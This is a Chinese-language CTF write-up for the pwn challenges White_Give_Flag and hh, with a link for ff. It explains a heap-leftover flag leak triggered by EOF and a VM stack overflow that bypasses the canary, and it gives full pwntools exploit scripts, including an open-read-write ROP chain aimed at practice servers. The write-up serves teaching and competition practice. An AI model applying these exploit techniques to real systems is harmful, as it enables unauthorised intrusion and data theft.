White_Give_Flag
init 函数打开了 /flag
,用 for 循环不断申请堆,将 flag 写入到 fd_nextsize ,然后释放。循环次数和每次申请的 size 都是随机值。
由于写入到 fd_nextsize 堆块释放时,写入的 flag 没有被覆盖掉,只是在哪个 size 的堆不确定,也就是后面要爆破了。
程序菜单选择与传统题目不同的是,这个选择是用 read 函数的返回值,而不是用 atoi(buf)
。
这就让 puts 输出提示符时存在问题,read 返回值可以为 -1
,而 menu_hin[-1]
对应是 chunk_list 中第四个堆指针地址:
申请 3 个堆填充,然后将存有 flag 的堆申请到第四个。第四个堆大小需要爆破的,在 bin 中看哪个 size 称心就选它。
再次选择菜单时,给传入一个 EOF 信号,让 read 返回值为 -1
。发送 EOF 方法参考的文章:
https://paper.seebug.org/444/
在 shell 中可以使用 ctrl+d 表示 EOF ,pwntools 可以用下面的命令发送 EOF :
1 2
| s = remote(xxxx,xx) s.sock.shutdown(socket.SHUT_RW)
|
但是这样我们没法继续输入了,所以我们需要发送一次 payload 就 getflag ,我们只能 getflag 而不能 getshell ,因为服务器已经关闭了接收我们数据的连接。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import * def menu(choice): p.recvuntil('choice:') p.send('1'*choice)
def add(size): menu(1) p.recvuntil('size:\n') p.sendline(str(size))
def edit(index,data): menu(4) p.recvuntil('index:\n') p.sendline(str(index)) p.recvuntil('Content:\n') p.send(data)
while True: p = remote("node4.buuoj.cn",39123) add(0x10) add(0x10) add(0x10) add(0x310) edit(3,'x'*0x10) p.recvuntil('choice:') p.shutdown_raw('send') flag = p.recvline() log.info(flag) if 'flag' in flag: exit(0) p.close() sleep(1)
|
hh
VM 题目,粗略逆向一下指令发现问题,选项 12 由于下标越界能造成栈溢出:
v31 使用 buf[v9] 读取可以被我们控制为任意值。
接下载就是逆向执行,没有全部逆向出来,贴一下官方 wp 图:
主要是 678 这几个指令没能理解到位。整体分析下来,vm 用 32 位的方式运作
- buf 我们输入的内容存储的地方,相当于 text 段
- V15 相当于 eip 指针
- v32 相当于内存段(栈),处理的局部变量在 v32[1000] 附近
- v16 相当于 esp 指针
大局思路:程序开了沙盒,存在栈溢出,虽然开了 canary ,但是由于vm 修改栈上数据是根据偏移来写,也就是可以跳过 canary 写入后面栈空间,相当于没有开这个保护。构造 orw 读取出 flag。在程序找到了 pop_rdi_ret
,libc 中找到 pop_rdx_rsi_ret
。
步骤详解
写入 ”flag” 到栈上,等下写入地址作为参数传给 orw 。
1 2 3 4
| payload = '' payload += p32(9)+p32(0x67616c66) payload += p32(12)+p32(0xd9)
|
接下来在 rip 开始写入 orw ROP 利用链。v32[0x3ef+1000] 就是 rip 的低 8 bit 。先用 9 将 pop_rdi_ret 低 8 bit 压入 v32[1000] ,再用 12 将 v32[1000] 的值存放到 eip :
1 2 3 4 5
| payload += p32(9)+p32(pop_rdi_ret) payload += p32(12)+p32(0x3ef) payload += p32(9)+p32(0) payload += p32(12)+p32(0x3f0)
|
然后就是准备 open 最麻烦的 rdi 参数,也就是 “flag” 的栈地址。先读取 ebp 的值(rbp低8bit) ,通过调试看刚刚 “flag“ 存入偏移 0xd8 对应真实地址和 ebp 的距离,通过 1 或 2 加减偏移得出 ”flag“ 栈地址,然后 12 存入对应位置。由于高 8 bit 都一样,所以直接将 rbp 高 8 bit 复制过去。
1 2 3 4 5 6 7
| payload += p32(10)+p32(0x3ed) payload += p32(9)+p32(0xc70) payload += p32(2) payload += p32(12)+p32(0x3f1) payload += p32(10)+p32(0x3ee) payload += p32(12)+p32(0x3f2)
|
pop_rdx_rsi_ret 在 libc 中,参看上面找栈地址方式找到 libc 地址,然后修正偏移:
1 2 3 4 5 6 7 8 9 10 11 12 13
| payload += p32(10)+p32(0x3f7)
payload += p32(9)+p32(0xf4949) payload += p32(1) payload += p32(12)+p32(0x3f3) payload += p32(10)+p32(0x3f8) payload += p32(12)+p32(0x3f4) payload += p32(9)+p32(0) payload += p32(12)+p32(0x3f5) payload += p32(12)+p32(0x3f6) payload += p32(12)+p32(0x3f7) payload += p32(12)+p32(0x3f8)
|
后面步骤和前面基本一样:传数据就 9 和 12;写 gadget 、函数就先 load、修改偏移、12 存入栈。只是注意加载 libc 低 8 bit 从 main_start 变成 pop_rdx_rsi_ret ,注意一下偏移计算就好。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132
| from pwn import * context.log_level = 'debug' context.binary = "./hh"
pop_rdi_ret = 0x00000000004011a3
payload = '' payload += p32(9)+p32(0x67616c66) payload += p32(12)+p32(0xd9)
payload += p32(9)+p32(pop_rdi_ret) payload += p32(12)+p32(0x3ef) payload += p32(9)+p32(0) payload += p32(12)+p32(0x3f0)
payload += p32(10)+p32(0x3ed) payload += p32(9)+p32(0xc70) payload += p32(2) payload += p32(12)+p32(0x3f1) payload += p32(10)+p32(0x3ee) payload += p32(12)+p32(0x3f2)
payload += p32(10)+p32(0x3f7)
payload += p32(9)+p32(0xf4949) payload += p32(1) payload += p32(12)+p32(0x3f3) payload += p32(10)+p32(0x3f8) payload += p32(12)+p32(0x3f4) payload += p32(9)+p32(0) payload += p32(12)+p32(0x3f5) payload += p32(12)+p32(0x3f6) payload += p32(12)+p32(0x3f7) payload += p32(12)+p32(0x3f8)
payload += p32(10)+p32(0x3f3)
payload += p32(9)+p32(0x1e099) payload += p32(2) payload += p32(12)+p32(0x3f9) payload += p32(10)+p32(0x3f4) payload += p32(12)+p32(0x3fa)
payload += p32(9)+p32(pop_rdi_ret) payload += p32(12)+p32(0x3fb) payload += p32(9)+p32(0) payload += p32(12)+p32(0x3fc) payload += p32(9)+p32(3) payload += p32(12)+p32(0x3fd) payload += p32(9)+p32(0) payload += p32(12)+p32(0x3fe)
payload += p32(10)+p32(0x3f3) payload += p32(12)+p32(0x3ff) payload += p32(10)+p32(0x3f4) payload += p32(12)+p32(0x400) payload += p32(9)+p32(0x30) payload += p32(12)+p32(0x401) payload += p32(9)+p32(0) payload += p32(12)+p32(0x402) payload += p32(10)+p32(0x3ed) payload += p32(9)+p32(0xb70) payload += p32(2) payload += p32(12)+p32(0x403) payload += p32(10)+p32(0x3ee) payload += p32(12)+p32(0x404)
payload += p32(10)+p32(0x3f3)
payload += p32(9)+p32(0x1de79) payload += p32(2) payload += p32(12)+p32(0x405) payload += p32(10)+p32(0x3f4) payload += p32(12)+p32(0x406)
payload += p32(9)+p32(pop_rdi_ret) payload += p32(12)+p32(0x407) payload += p32(9)+p32(0) payload += p32(12)+p32(0x408) payload += p32(9)+p32(1) payload += p32(12)+p32(0x409) payload += p32(9)+p32(0) payload += p32(12)+p32(0x40a)
payload += p32(10)+p32(0x3f3) payload += p32(12)+p32(0x40b) payload += p32(10)+p32(0x3f4) payload += p32(12)+p32(0x40c) payload += p32(9)+p32(0x30) payload += p32(12)+p32(0x40d) payload += p32(9)+p32(0) payload += p32(12)+p32(0x40e) payload += p32(10)+p32(0x3ed) payload += p32(9)+p32(0xb70) payload += p32(2) payload += p32(12)+p32(0x40f) payload += p32(10)+p32(0x3ee) payload += p32(12)+p32(0x410)
payload += p32(10)+p32(0x3f3)
payload += p32(9)+p32(0x1de19) payload += p32(2) payload += p32(12)+p32(0x411) payload += p32(10)+p32(0x3f4) payload += p32(12)+p32(0x412)
p = remote("node3.buuoj.cn",25189) p.recvuntil("Give me you choice :\n") p.sendline("1") p.recvuntil("code:")
p.send(payload)
p.recvuntil("Give me you choice :\n") p.sendline("2")
p.interactive()
|
ff
官方 WP
https://mp.weixin.qq.com/s/1OzuKnQK2wNxhHYObN3UYA